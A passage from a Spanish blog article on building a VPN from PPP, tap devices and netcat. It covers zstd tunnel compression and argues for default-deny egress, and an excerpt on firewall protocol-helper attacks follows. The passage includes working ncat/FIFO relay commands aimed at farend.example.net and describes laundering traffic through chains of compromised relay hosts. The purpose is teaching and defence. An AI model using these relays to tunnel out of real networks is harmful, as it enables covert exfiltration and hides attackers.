--ssl-verify, y con el comportamiento de peer = src de arriba, una parte sin identificar está a un datagrama de adueñarse de tu túnel. Si te has quedado atado al script de Python, no le atornilles TLS: apúntalo a un puerto de loopback y pon el envoltorio delante, o usa socat. Un envoltorio TLS hecho a mano alrededor de un túnel hecho a mano son dos oportunidades de equivocarse en la parte interesante.\nFase Cinco: Comprimir El Flujo Con zstd Hay una cosa más que merece la pena poner en la trastienda, y a diferencia de las opciones de compresión de pppd esta sí puede pagar: comprimir las tramas con zstd antes de que entren en el portador.\nLa palabra importante ahí es tramas, en plural. Comprime el flujo, no cada paquete por su cuenta. Es el mayor efecto medido de este artículo.\nEl tráfico de red es repetitivo de una forma que solo se ve entre paquetes — las mismas cabeceras, los mismos nombres de equipo, las mismas claves JSON, una y otra vez. Un compresor que empieza de cero en cada trama de 1400 bytes no ve nada de eso; uno que mantiene su ventana entre tramas lo ve todo.\nComprime antes de cifrar, y conserva la ventana si el portador te deja El orden es fijo. El modo es la decisión. tap0una lectura, una trama comprimirzstd, nivel 1 cifrarDTLS, o TLS portadorUDP, o TCP Nunca al revés. FLUSH_BLOCK — conservar la ventana Emite todo lo acumulado, conserva el historial. Cada trama se codifica contra todas las anteriores. Sin latencia añadida: una trama entra, una trama sale. 5.0% con tráfico repetitivo · 7,5 % en líneas de registro Necesita cada trama entregada, en orden. Así que: TCP, o TLS sobre TCP. No UDP, no DTLS. FLUSH_FRAME — tirarla en cada paquete Cada datagrama es una trama zstd completa y se descodifica sola, así que el datagrama N funciona aunque 1 a N-1 se pierdan. El único modo que puede usar un portador de datagramas. 14.8% con el mismo tráfico · 24,2 % en líneas de registro Un diccionario entrenado recupera casi todo eso: 5,3 % y 15,1 %, y sigue tolerando la pérdida. La compresión va entre el dispositivo tap y el portador, y antes del cifrado, porque el texto cifrado no se comprime. FLUSH_BLOCK es el modo que importa: emite todo lo acumulado, así que una trama que entra da una trama que sale sin latencia añadida, mientras conserva el historial de compresión para la trama siguiente. FLUSH_FRAME tira ese historial en cada paquete, que es lo que lo hace seguro sobre un portador con pérdida y lo que lo hace tres veces peor en el cable. En una Fedora actual esto no necesita instalar nada — Python 3.14 trajo zstd a la biblioteca estándar13; esta máquina tiene la 3.14.7 contra zstd 1.5.7:\nfrom compression.zstd import ZstdCompressor, ZstdDecompressor # Python 3.14+ _c, _d = ZstdCompressor(level=1), ZstdDecompressor() # FLUSH_BLOCK: emit everything so far, keep the window for the next frame. out = _c.compress(frame, mode=ZstdCompressor.FLUSH_BLOCK) frame = _d.decompress(out) Un compresor por sentido, vivo durante toda la vida del enlace. Un FLUSH_BLOCK por trama, así que una trama sale en el momento en que llega sin nada almacenado, y el extremo lejano devuelve una trama por bloque.\nLo Que Vale La Ventana, Medido Cifras de esta máquina. Las mismas tramas de 1400 bytes, el mismo nivel 1, y la única diferencia es si el compresor conserva su historial:\nTráfico en el túnel flujo, FLUSH_BLOCK por paquete, FLUSH_FRAME por paquete con diccionario entrenado Llamadas de API repetitivas y telemetría 5,0 % 14,8 % 5,3 % Líneas de registro 7,5 % 24,2 % 15,1 % Texto plano y ficheros de configuración 37,8 % 51,3 % 45,3 % Bytes aleatorios, haciendo de TLS 100 %+ 100,7 % — El rendimiento al nivel 1 dio 205 MB/s con texto y más de 1 GB/s con el tráfico repetitivo — cuanto más comprimible, más rápido, porque hay menos que codificar.\nEl tráfico de registro baja al 7,5 % de su tamaño original, frente al 24,2 % por paquete — el triple, los mismos datos, el mismo nivel, por una sola bandera. Y el nivel 1 es el nivel: el nivel 3 compró alrededor de un uno por ciento, el nivel 9 otro más mientras bajaba el rendimiento de 211 MB/s a 61.\nLa Pega, Y Es La Misma Pega Que Todo Lo Demás Aquí Una ventana compartida significa que cada trama depende de las anteriores: pierde una y el historial del descompresor deja de coincidir, y nada posterior se descodifica. Así que la compresión de flujo necesita un portador que lo entregue todo en orden — TCP, o TLS sobre TCP, no UDP ni DTLS. Ese es el único argumento honesto a favor del portador TCP en todo el artículo. Si lo que cruza tu túnel es de verdad comprimible — syslog, replicación de base de datos en claro, telemetría, una API charlatana — una sesión TLS con compresión de flujo mueve un tercio de los bytes que movería un portador de datagramas, cosa que en un camino decente puede ganarle a la penalización por retransmisión. Mídelo con tu propio tráfico.\nSobre UDP, Donde Un Diccionario Hace El Trabajo De La Ventana Donde el portador es UDP o DTLS, y debería serlo por defecto, no puedes mantener una ventana: cada datagrama se sostiene solo, lo que significa FLUSH_FRAME y la columna más floja de arriba. Un diccionario entrenado le da al compresor el contexto entre paquetes que habría tenido una ventana, sin dependencia ninguna entre datagramas:\n# capture a few thousand real frames off the link first, one per file zstd --train frames/* -o tunnel.dict --maxdict=110000 ```[^zstddict] ```python from compression.zstd import ZstdCompressor, ZstdDecompressor, ZstdDict d = ZstdDict(open(\u0026#34;tunnel.dict\u0026#34;, \u0026#34;rb\u0026#34;).read()) _c = ZstdCompressor(level=1, zstd_dict=d) # load it ONCE, not per frame out = _c.compress(frame, mode=ZstdCompressor.FLUSH_FRAME) Con el tráfico repetitivo eso llevó la compresión por paquete del 14,8 % al 5,3 %, recuperando el 96 % de la distancia hasta la compresión de flujo completa sin dejar de tolerar la pérdida; con líneas de registro el 55 % de la distancia, con texto general el 44 %.\nVienen tres reglas con ello. Los dos extremos tienen que cargar el mismo diccionario o no se descodifica nada — comprobado aquí, una trama comprimida con diccionario lanza ZstdError sin él. Entrena con una captura del tráfico real, porque un diccionario es una apuesta previa y una equivocada te cuesta: el diccionario de texto empeoró ligeramente otro texto. Y cárgalo una vez en un compresor de vida larga; pasarlo en cada llamada midió 5 MB/s, y no es una errata.\nEl Byte De Cabecera, Y La Rampa De Un Segundo Dos cosillas que impiden que esto sea frágil.\nCada datagrama lleva una cabecera de un byte, y nombra el modo en vez de decir solo «comprimido»: 0x00 la trama tal cual, 0x01 una trama zstd autónoma, 0x02 un bloque de un flujo continuo. Un receptor puede entonces descodificar lo que haya elegido el extremo lejano sin estar configurado para coincidir, cosa que ya vale el byte por sí sola.\nEn modo trama, quien envía solo manda la forma comprimida cuando de verdad es más pequeña, porque comprimir no siempre gana: los bytes aleatorios salieron al 100,7 %, y un ACK de TCP de 64 bytes se comprime a 73 — los diez bytes de cabecera de zstd sobre un paquete sin nada que apretar. El recuento de paquetes en un enlace real lo dominan los paquetes pequeños, así que sin esa comprobación inflarías la mayoría de tu tráfico para encoger la minoría. En modo flujo manda siempre la forma comprimida, porque saltarse una dejaría las dos ventanas fuera de paso.\nY el enlace empieza en crudo: durante el primer segundo cada trama sale sin comprimir, digan lo que digan los ajustes, y cada sentido arranca por su cuenta:\nRAMP = 1.0 # seconds of raw frames before compression starts def pack(self, frame): if self.c is None or time.monotonic() - self.started \u0026lt; RAMP: return RAW + frame out = self.c.compress(frame, mode=ZstdCompressor.FLUSH_BLOCK) return ZSTD + out if len(out) \u0026lt; len(frame) else RAW + frame Esa es la idea de las fases del principio del artículo aplicada a un solo enlace. El túnel se levanta por el camino más simple que tiene, demuestra que puede llevar una trama, y solo entonces empieza a hacer algo listo. Cuando se rompa, sabes en qué segundo se rompió.\nFase Seis: Comprimido Y Cifrado, Y Lo Que Cuesta El Orden El orden importa, y solo uno funciona: comprimir, después cifrar. El texto cifrado no se comprime, como enseña la fila del 100,7 % — que es también por lo que TLS 1.3 quitó su propia compresión, dejando tu capa como el único sitio donde hacerlo. Ese orden tiene un problema conocido, el mismo que le puse a deflate: comprimir antes de cifrar filtra el texto plano a través de la longitud del texto cifrado, y donde un atacante puede inyectar datos elegidos junto a un secreto y mirar los tamaños, esa filtración ha sido un ataque que funciona más de una vez — CRIME y BREACH contra TLS14, y VORACLE contra exactamente esta forma15.\nEso no es una razón para no comprimir nunca. Es una razón para saber en qué caso estás:\nUn enlace que lleva tu propio tráfico entre dos máquinas tuyas — replicación, copias de seguridad, registros, telemetría — no lleva texto plano elegido por un atacante viajando junto a secretos. Comprímelo, y comprime el flujo. Un enlace que lleva navegación arbitraria de usuarios, donde el contenido web de otro y tus credenciales van juntos, es el caso sobre el que se escribió VORACLE. Déjalo apagado. La razón de que me quede tranquilo poniendo esto en la construcción con tap y no en la de PPP no es un principio: aquí eliges un algoritmo moderno a propósito, para un tráfico que has mirado, mientras que el deflate de pppd comprime todo por defecto con uno de 1996 venga o no venga a cuento.\nQué Gana La Construcción Con Tap, Y Qué Cede Pon las dos mitades una al lado de la otra, porque no compiten. Son compromisos distintos.\npppd sobre un socket tap o tun sobre un socket Tramado incorporado (HDLC, resincroniza tras el daño) ninguno sobre UDP porque no hace falta; inventarlo sobre TCP Configuración de direcciones negociada por IPCP e IPV6CP a mano en los dos extremos Comprobación de vida eco LCP, incorporada ninguna; la añades tú o el enlace muere en silencio Autenticación PAP o CHAP disponibles, las dos débiles ninguna en absoluto Capa solo 3 3 con tun, 2 con tap Puenteado no sí, con tap Sobrecarga bandera, cabecera y FCS por trama, más escapes nada, o 14 bytes con tap Compresión deflate y BSD, activadas por defecto, de 1996 ninguna, o zstd por trama que añades y controlas Root necesario sí, en todo momento para crear el dispositivo; no para usarlo Piezas en movimiento un demonio de treinta años un descriptor de fichero PPP te da un enlace negociado que se vigila solo y te cobra un protocolo por ello. Un dispositivo tap te da un agujero en crudo por nada, y tú pones las piezas que faltan o te las ahorras. Para un túnel que se queda en marcha, la comprobación de vida ausente es la que muerde: pppd se entera de un portador muerto en treinta segundos y lo reconstruye, la construcción con tap no se entera de nada porque no hay nada dentro que esté mirando. Añade un keepalive, ejecútalo bajo algo que lo reinicie, o usa la construcción que ya tiene uno.\nCuándo Es Esta La Herramienta Correcta, Y Cuándo No Nunca es de verdad la herramienta correcta, y no voy a fingir lo contrario. Todo lo de arriba funciona, y nada de ello es lo que deberías ejecutar en producción. La versión honesta de un cómo-se-hace incluye la parte donde sueltas la herramienta, y esta es esa parte.\nPara lo que sirve de verdad es para enseñarte cómo funciona una cosa. Una VPN desmontada en sus piezas y, en la sección siguiente, cómo se comporta de verdad la salida en cuanto alguien está dentro de tu red con root. Esas son las razones para haber leído esto. Los casos estrechos de abajo son reales, pero no son por lo que existe este artículo.\nEcha mano de la construcción PPP cuando:\nEl portador no es IP en absoluto — una consola serie, un cacharro USB, un enlace de radio, una tubería con nombre, un canal SSH. A pppd le da igual sobre qué viajen los bytes, y un dispositivo tap no te ayuda aquí. Estás rescatando algo: una máquina con consola serie, sin red, y un trabajo que hay que terminar esta noche. PPP sobre esa consola es un enlace enrutado, instalado en los dos extremos sin nada que copiar. Quieres que el enlace se cuide solo. El eco LCP, la negociación de direcciones y el reinicio salen gratis; escribirlos tú es como la construcción con tap se convierte en un producto pequeño y poco fiable. Echa mano de la construcción con tap cuando:\nNecesitas capa 2 — un protocolo que no es IP, un latido de clúster que quiere difusiones, DHCP a través del túnel, o dos segmentos que tienen que ser uno. Quieres las mínimas piezas en movimiento: sobre UDP con DTLS son dos comandos, sin demonio, sin negociación, sin nada que escapar. Root escasea. Crea el dispositivo una vez con user, y el proceso que mueve tramas no vuelve a necesitar privilegios. Las dos son la herramienta correcta cuando estás aprendiendo. Cada capa es visible y se puede cambiar por separado, y no hay mejor forma de entender qué hace un producto VPN que construir uno con las piezas y ver cómo se levanta cada una.\nNinguna es la herramienta correcta cuando quieres una VPN. Para eso, usa WireGuard. Está en el núcleo, es una fracción del código, hace la criptografía como es debido sin nada que negociar y nada que equivocar, y es un protocolo de datagramas por diseño. ssh -w te da un dispositivo tun sobre una sesión SSH existente en un solo comando, y OpenVPN es la versión madura y auditada de la forma DTLS-sobre-tap de arriba. Los tres son mejores en esto que cualquier cosa construida aquí.\nConstruye esto porque quieres saber qué hay dentro de la cosa que compras. No porque fuera ingenioso.\nLo Que Esto Enseña De Verdad: La Salida Desde El Lado Del Atacante Esta es la razón para leer un artículo de construcción que te acaban de decir que no uses. Dale la vuelta y mira desde dentro de tu propia red, como quien acaba de aterrizar ahí con root. Toda brecha real acaba ahí, por una clave robada, una fuga de contenedor, un servicio sin parchear, alguien de dentro. La pregunta que decide entonces lo mala que se pone la jornada no es «qué pueden ejecutar», porque pueden ejecutar cualquier cosa. Es «qué puede salir, y si lo habías decidido antes de que llegaran».\nSi la salida está abierta por defecto, la respuesta es todo, y ya poco puedes hacer. Nada de esto era exótico. pppd, ncat, socat e ip son paquetes firmados de la distribución que ya están en la máquina; el apaño de tap son cincuenta líneas de biblioteca estándar. Un puerto saliente permitido — y es el 443, el que abre toda red por defecto — y hay un enlace enrutado desde tu red a la de otro, cifrado, autenticado, que sobrevive a los reinicios, que lleva IPv4 e IPv6, e indistinguible en tu frontera de cualquier sesión HTTPS que tus usuarios hacen diez mil veces al día. Hazlo tap y puentéalo y lo que salió del edificio no es una ruta. Es el segmento.\nNo hay nada que pueda pillar un escáner: ni firma de malware porque no hay malware, ni protocolo raro porque es un saludo TLS normal al 443, ni binario inusual porque los instaló todos tu propio gestor de paquetes. El proxy registra una conexión y un recuento de bytes, y las dos cosas parecen trabajo.\nY el destino ni siquiera es fijo. Un socket no tiene por qué terminar donde acaban los paquetes, porque el portador se puede apuntar a través de un proxy — un relé que no es más que dos conexiones y una tubería, que la sección siguiente construye en una línea de shell. ncat acepta --proxy con --proxy-type http, socks4 o socks5, así que la sesión TLS que ve tu frontera termina en aquello a lo que el atacante le dijo que conectara a través — un salto interno, un servicio SaaS permitido que resulta reenviar CONNECT, un relé en la nube — y el túnel sigue desde ahí hasta algún sitio que tú no ves nunca. HTTP CONNECT y SOCKS hacen esto los dos por diseño, porque para eso está un proxy. Así que una entrada en la lista de permitidos para un destino en el que confías es siempre confianza en ese destino y en todo aquello a lo que vaya a reenviar, que ni controlas ni puedes enumerar. El punto final de tu registro de cortafuegos es el proxy. Nunca fue el extremo lejano.\nAsí que la verdad incómoda: en cuanto alguien está dentro con root y la salida es permisiva, el túnel no es lo que te toca impedir. Las piezas están instaladas, la salida está abierta, y ni siquiera lleva a donde parece. Tu única oportunidad de poner esto difícil fue antes de que llegara el atacante, en la frontera, decidiendo qué puede salir.\nEso es la salida con default-deny, y es la lección entera. Salida bloqueada por defecto; una lista de permitidos corta y nombrada donde una persona justificó cada destino y cada puerto; todo lo demás rechazado, registrado y con alerta. No porque frene en seco a un atacante decidido — un destino permitido es un túnel permitido — sino porque la alternativa es no tener decisión ninguna que hacer cumplir. Una política de salida escrita como una lista de puertos permitidos es una política sobre números de puerto. Nunca fue una política sobre qué sale, y en cuanto alguien tiene root, los números de puerto son todo lo que protege.\nEste es el mismo hallazgo que el artículo sobre ping, que construye el túnel con eco ICMP, y el artículo sobre los ayudantes de protocolo, donde tu cortafuegos abre los agujeros él solo. Tres formas de entrar, una conclusión: el control que creías tener era sobre protocolos, y ninguno de estos protocolos es lo que dice ser. La frontera, decidida por adelantado y con default-deny, es el único control que fue real alguna vez.\nUn Proxy Son Dos Conexiones Y Una Tubería Merece la pena ver lo poco que es un relé, porque explica por qué no puedes razonar sobre el extremo lejano desde el cercano. Un proxy no es software especial. Es una conexión unida a otra por una tubería. La forma más vieja usa una tubería con nombre, un FIFO, para llevar el sentido de vuelta: un ncat escucha, otro conecta hacia delante, y el FIFO cablea el camino de respuesta entre ellos.\nmkfifo backpipe ncat -l 7000 0\u0026lt;backpipe | ncat farend.example.net 7100 1\u0026gt;backpipe Léelo como fontanería: la salida de quien escucha entra en el segundo ncat y sigue hacia el extremo lejano, y las respuestas vuelven por el FIFO hasta el cliente. Dos sockets, una tubería, los dos sentidos, y la conexión del cliente termina aquí, en el relé, mientras los paquetes siguen hasta farend y vuelven. Ejecuté exactamente esto en loopback con un tercer ncat haciendo de eco en el extremo lejano, y una línea que metí volvió tras haber hecho el viaje entero.\nUn relé son dos sockets unidos por una tubería, y el punto final se mueve Una conexión entra, otra sale, una tubería en medio. Eso es un proxy. cliente abre una sesión TLS RELÉ — el destino que registra tu frontera ncat -l 7000 termina al cliente ncat farend origina un salto nuevo extremo lejano el otro lado real stdout backpipe (FIFO) trae de vuelta las respuestas cliente → relé relé → extremo lejano La conexión del cliente acaba en el relé. Los paquetes no. Tu cortafuegos registró una conexión a esta máquina. A dónde reenvía se decide dentro de la máquina, y encadenar tres de estas deja el extremo lejano real a tres tuberías — el registro de cada salto muestra solo una conexión local y formal al siguiente, y nada más allá. Un relé son dos sockets y una tubería. Quien escucha termina la conexión del cliente. Un segundo netcat origina una conexión nueva hacia delante, y el FIFO lleva el sentido de vuelta entre ellos. La sesión TLS del cliente acaba aquí, en el relé, y empieza un salto nuevo — así que el destino que registró tu frontera es esta máquina, y los paquetes siguen hasta donde sea que ella reenvíe. Encadena tres y el extremo lejano está a tres tuberías, y el cortafuegos de cada salto solo ve una conexión local y ordenada hacia el siguiente. Ncat hace lo mismo en un solo proceso, ejecutando la conexión hacia delante por cada cliente que llega:\nncat -l 7000 --keep-open --sh-exec \u0026#39;ncat farend.example.net 7100\u0026#39; La misma forma, menos piezas: el socket de quien escucha se une al del ncat ejecutado por la tubería que el shell pone entre ellos. Encadena tres y el túnel cruza tres redes, terminando y volviendo a originarse en cada una, y el cortafuegos de cada salto registra una conexión local y ordenada hacia el siguiente y nada más allá.\nEse es el truco entero, y por eso el registro de la frontera no es prueba de un destino. Cada relé es el extremo lejano hasta donde puede ver la máquina anterior, y el otro extremo de verdad está a tantas tuberías como nadie estuviera mirando.\nPon ahora esos relés en máquinas que no son del atacante.\nLos relés encadenados por equipos comprometidos lavan el punto final Cada salto es la máquina de otro, y cada dueño ve solo el medio atacante la única máquina que es suya relé 1 la red de otra empresa relé 2 un VPS secuestrado relé 3 un router doméstico destino a donde iba ve: 1←→2 ve: 2←→3 ve: 3←→dest. Ningún salto ve más allá de sus dos vecinos. Sin origen, sin destino, solo medio. El tráfico se lava a través de una ristra de sistemas de otra gente, cada uno ejecutando el mismo relé de dos sockets y una tubería bajo el control del atacante. Por eso el saliente de un equipo comprometido lleva tantas veces a otra víctima, no al atacante — veinte años de C2. Cada salto es un equipo comprometido — la máquina de otra empresa, un VPS secuestrado, un router doméstico — ejecutando el mismo relé de dos sockets y una tubería bajo el mando y control del atacante. Ningún salto ve más allá de sus dos vecinos: el dueño del relé 2 ve una conexión del relé 1 y otra al relé 3, y nada más. El tráfico se lava a través de una ristra de sistemas de otra gente, y por eso la salida de un equipo comprometido lleva tantas veces a otra víctima en vez de al atacante. Cada dueño de esa cadena ve solo una conexión del salto anterior al salto siguiente: sin origen, sin destino, solo medio. Esto no es una idea novedosa que yo le esté entregando a nadie. Es como han funcionado las cadenas de pivote y las redes de mando y control desde hace veinte años, y por qué el tráfico saliente de un equipo comprometido lleva tantas veces a otra víctima en vez de al atacante. Tus registros te enseñan que hablaste con una máquina en un centro de datos de algún sitio. De quién era, y a dónde reenvía, no estuvo nunca en ellos.\nEl peso defensivo es una línea: no puedes atribuir ni confiar en un destino que no restringiste por adelantado. Para cuando el tráfico está saliendo, la dirección a la que sale no te dice casi nada, porque es un relé en la máquina de otro y el punto final real está lavado detrás.\nEl Enlace Nunca Fue El Producto Lo que me llama la atención, después de desmontar esto, es lo poco que tiene de nuevo y lo mucho que se vende.\nEl RFC 1661 es de 1994. pppd lleva treinta años en todas las distribuciones de Linux, los módulos del núcleo son ocho ficheros en un directorio, y todo lo que hace que una VPN sea una VPN — una interfaz virtual, un enlace negociado, un portador cifrado, una ruta — son cuatro programas y un certificado. Nada de eso es difícil ni secreto. Documentaron cada byte y lo regalaron, y creció una industria entre tú y eso vendiendo las mismas cuatro piezas en una caja con una licencia por puesto y un contrato de soporte que caduca. Las piezas no mejoraron. Las envolvieron.\nEso no es un argumento para ejecutar esto en producción. Acabo de decirte que no lo hagas. Es un argumento para saber qué hay en la caja que compras, porque el día que el proveedor cambie las licencias, lo compren o cierre tu modelo, la diferencia entre un mal trimestre y un mal año es si alguien de tu casa sabe de qué estaba hecha la cosa.\nCógete una tarde y construye el túnel con las piezas. Mira negociar a LCP, rompe el enlace y míralo volver, quítale el certificado y mira qué se para. Después vuelve a leer la hoja de datos de tu proveedor de VPN, y mira cuánto reconoces.\nEsa misma tarde compra la otra mitad. Si un enlace enrutado hacia fuera de tu red son cuatro programas instalados y un certificado, a quien acaba de conseguir root en una de tus máquinas no lo frena lo difícil que sea construir el túnel. No es difícil. Lo único que lo frena es lo que tú decidiste, antes de que llegara, que podía salir. Constrúyelo una vez y dejas de pensar en la salida como algo que hace cumplir un producto, y empiezas a pensarla como una decisión que tomaste o no tomaste.\nNo hay mucha magia en ello. La mayor parte es 1994 con una mano de pintura, y no hay nowt de malo en 1994. Funcionó, estaba documentado, y todavía se ejecuta.\nRFC 1661 — The Point-to-Point Protocol (PPP), 1994. Define el enlace, LCP y la familia de protocolos de control de red que se apoyan encima.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 2637 — Point-to-Point Tunneling Protocol (PPTP), que lleva PPP dentro de GRE.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3931 — Layer Two Tunneling Protocol version 3, el descendiente en vía de estándar del protocolo que lleva PPP dentro de UDP.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npppd(8) — la página de manual del demonio PPP. Fuente de pty, notty, local, passive, noipdefault, proxyarp, record, receive-all, las opciones de eco LCP y el valor por defecto de asyncmap: «If no asyncmap option is given, the default is zero, so pppd will ask the peer not to escape any control characters.» Las citas de aquí se leyeron de man pppd en ppp 2.5.1.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 1662 — PPP in HDLC-like Framing. La secuencia de bandera, la regla de relleno de octetos y el Async-Control-Character-Map: «Each frame begins and ends with a Flag Sequence, which is the binary sequence 01111110 (hexadecimal 0x7e).»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOlaf Titz, Why TCP Over TCP Is A Bad Idea — la explicación estándar del apilado de retransmisiones, que abre con esta construcción exacta. La URL original ya no sirve el artículo; esta es una captura del Internet Archive.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 5072 — IP Version 6 over PPP. IPV6CP y los identificadores de interfaz de 64 bits, independientes de IPCP.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 1994 — PPP Challenge Handshake Authentication Protocol (CHAP). Demuestra la identidad del par; no cifra nada.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3079 — Deriving Keys for use with Microsoft Point-to-Point Encryption (MPPE). La construcción RC4 con clave del intercambio MS-CHAP, y la razón de que PPTP no sea una opción viva.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNcat Users\u0026rsquo; Guide — connecting through a proxy — --proxy y --proxy-type para HTTP CONNECT y SOCKS 4/5, de modo que el portador TLS termina en el proxy, no en el extremo lejano del túnel.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNcat Users\u0026rsquo; Guide — las opciones --ssl, --ssl-verify y --ssl-trustfile, y los modos de escucha y UDP. Versión probada aquí: Ncat 7.92.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUniversal TUN/TAP device driver — la documentación del propio núcleo para /dev/net/tun, TUNSETIFF, y la diferencia entre tun y tap.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPEP 784 — Adding Zstandard to the standard library, por lo que compression.zstd no necesita paquete en Python 3.14. Medido aquí contra Python 3.14.7 y zstd 1.5.7.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 7457 — Summarizing Known Attacks on TLS and DTLS, que cubre CRIME y la forma general de una fuga por longitud al comprimir antes de cifrar.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenVPN — the VORACLE attack — la misma fuga contra una VPN que comprime antes de cifrar, y la razón de que OpenVPN desaconseje ahora la compresión.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/es/networking/a-vpn-out-of-parts-and-what-egress-really-is/","summary":"Una VPN son dos tareas: algo que fabrica un enlace virtual y algo que transporta los bytes. PPP hace la primera desde 1994 y le da igual cuál sea la segunda — por eso PPTP, L2TP y cada línea conmutada que hayas usado son el mismo protocolo sobre portadores distintos. Netcat es un portador. Esto lo construye de las dos formas. Primero pppd: la opción pty y qué hace con un pseudoterminal, la versión TCP que todo el mundo prueba primero, por qué ejecutar un protocolo de flujo dentro de TCP se derrite bajo pérdida, la versión UDP que hay que usar, el tramado HDLC asíncrono y la ACCM que decide cuánto ancho de banda se va en escapar caracteres de control, direccionamiento y enrutado e IPV6CP, y mantener el enlace vivo cuando el portador muere sin avisar. Después el mismo túnel sin nada de PPP — un dispositivo tap, un datagrama por trama sobre UDP, el prefijo de longitud que hay que inventarse sobre TCP, tun frente a tap, y el puenteado. Después la parte para la que netcat no tiene respuesta: envolver el portador en TLS con ncat, stunnel y openssl, y en DTLS con socat, que es la forma que de verdad quieres. Nunca es la herramienta correcta, y ese es justo el asunto: enseña cómo se comporta la salida en cuanto un atacante tiene root dentro de tu red y el acceso saliente no estaba bloqueado por defecto, y por qué el default-deny en la frontera es el único control que fue real alguna vez.","title":"Una VPN hecha de piezas: PPP, dispositivos tap y netcat"},{"content":"En tu cortafuegos hay una función que lee dentro de tus paquetes, encuentra ahí una dirección IP y un número de puerto escritos en texto, y abre un hueco entrante para ellos. Sin regla. Sin petición de cambio. Sin una línea de registro que vayas a mirar jamás. En la mayoría del equipamiento que la lleva viene encendida de fábrica, lleva así casi veinticinco años, y el sector que la puso ahí ha ido concluyendo en silencio durante los últimos veinte que debería estar apagada: en documentos de estándares, en valores por defecto del kernel y en cuatro tandas separadas de parches de emergencia para navegadores.\nSe llama ayudante de protocolo, o Application Level Gateway, ALG, session helper, fixup, motor de inspección, ayudante de conntrack. Lo mismo. Existe porque NAT rompió un puñado de protocolos que escriben direcciones dentro de su propia carga útil, y porque alguien decidió que la solución menos mala era enseñar al traductor a leer y reescribir esa carga al vuelo.\nAquí viene la parte que debería detenerte.\nEl ayudante no puede saber quién escribió el texto. Lee bytes de una conexión y actúa según ellos, al instante, sin preguntar a nada ni a nadie. No tiene manera de saber si la cadena PORT 192,168,1,29,4,0 vino de un cliente FTP real haciendo una transferencia real, o de un formulario oculto en una página web que tu usuario abrió sin querer. En el cable se ven idénticos, porque en el cable son idénticos. Así que un desconocido en internet que consiga que algo dentro de tu red envíe los bytes correctos — un navegador, un cliente de chat, cualquier cosa que envíe lo que le digas — puede elegir qué puerto entrante abre tu cortafuegos, y hacia dónde.\nEso no es un fallo en el analizador de un fabricante concreto. Eso es lo que hace la función. Los informes de fallos y los CVE son el detalle interesante que va encima; la forma de debajo es un dispositivo de seguridad que toma instrucciones de configuración de datos no confiables y las ejecuta de inmediato.\nSamy Kamkar enseñó la versión del navegador en enero de 20101, una mucho mejor en octubre de 20202, y tres meses después Armis la extendió para que el puerto abierto ni siquiera tuviera que estar en la máquina que hizo clic: puede estar en tu impresora, en tu cámara o en un controlador programable dos VLAN más allá3. Entremedias, el IETF dejó escrito que estas cosas deben venir apagadas de fábrica4, Linux las apagó en el kernel5, y los fabricantes de navegadores publicaron una lista de puertos bloqueados que se lee, casi línea por línea, como el índice de los módulos de conntrack de Linux6. Cada uno de esos arreglos se aplicó en otro sitio, porque lo que de verdad había que arreglar vive en una caja que nadie va a parchear.\nMi conclusión es que los ayudantes de protocolo deben venir apagados en todas partes, y deben estar realmente apagados en cualquier red de la que respondas tú. No afinados. No restringidos a subredes confiables como primera medida. Apagados, con las dos o tres excepciones reales escritas y fechadas, exactamente igual que documentarías cualquier otra regla entrante, porque eso es lo que son.\nLo que sigue es el mecanismo, luego los ataques en el orden en que se descubrieron, luego el lado del cumplimiento normativo, porque en el Reino Unido esto no es solo poco recomendable sino un incumplimiento directo de un requisito de certificación que quizá ya tengas, y por último los comandos para arreglarlo.\nQué saca de esto un desconocido Empieza por el resultado, porque el mecanismo se sigue mejor cuando ya has visto la factura. Alguien abre un enlace. Esa es toda su contribución. La página ejecuta JavaScript que habla con el servidor del atacante, y ese servidor moldea la conversación — la rellena, la mide, confirma unas partes y otras no — hasta que llega a tu cortafuegos un segmento que parece exactamente el mensaje de apertura de una llamada VoIP. Tu cortafuegos se lo cree, porque creérselo es la función. Crea un enlace entrante, y el atacante se conecta de vuelta a través de él de inmediato.\nEn la versión de 2020 el puerto se abre en la máquina que hizo clic, así que cualquier servicio que esté escuchando en ese equipo queda alcanzable desde internet mientras el enlace siga vivo2. Compartición de ficheros. El escritorio remoto que nadie quería dejar escuchando. Sobre el Fisher-Price OS (Windows), Armis hizo la observación obvia: alcanza el puerto de compartición de ficheros y estás a un equipo sin parchear del camino por el que pasó WannaCry3.\nLa versión de 2021 es peor, y es la parte que debería decidirlo por ti. Como el ayudante de H.323 gestiona el desvío de llamada, un solo mensaje puede nombrar una tercera dirección en lugar de uno de los dos extremos de la conexión. El atacante deja entonces de estar limitado a la máquina que hizo clic y puede recorrer tu rango interno, abrir un puerto en cualquier dirección y leer lo que responda. Armis demostró exactamente eso: puerto 80 en todo un rango, banners recogidos, un objetivo elegido, y después el puerto de impresión en crudo de la impresora abierto y un trabajo enviado a él. Su segunda demostración alcanzó un controlador por el puerto de gestión sin autenticar y cambió el programa3.\nEn ninguno de esos dispositivos se explotó una vulnerabilidad. La impresora era una impresora que funcionaba, la cámara una cámara que funcionaba, el controlador un controlador que funcionaba, y lo único que falló fue el perímetro, que falló haciendo exactamente aquello para lo que estaba configurado. Piensa además en 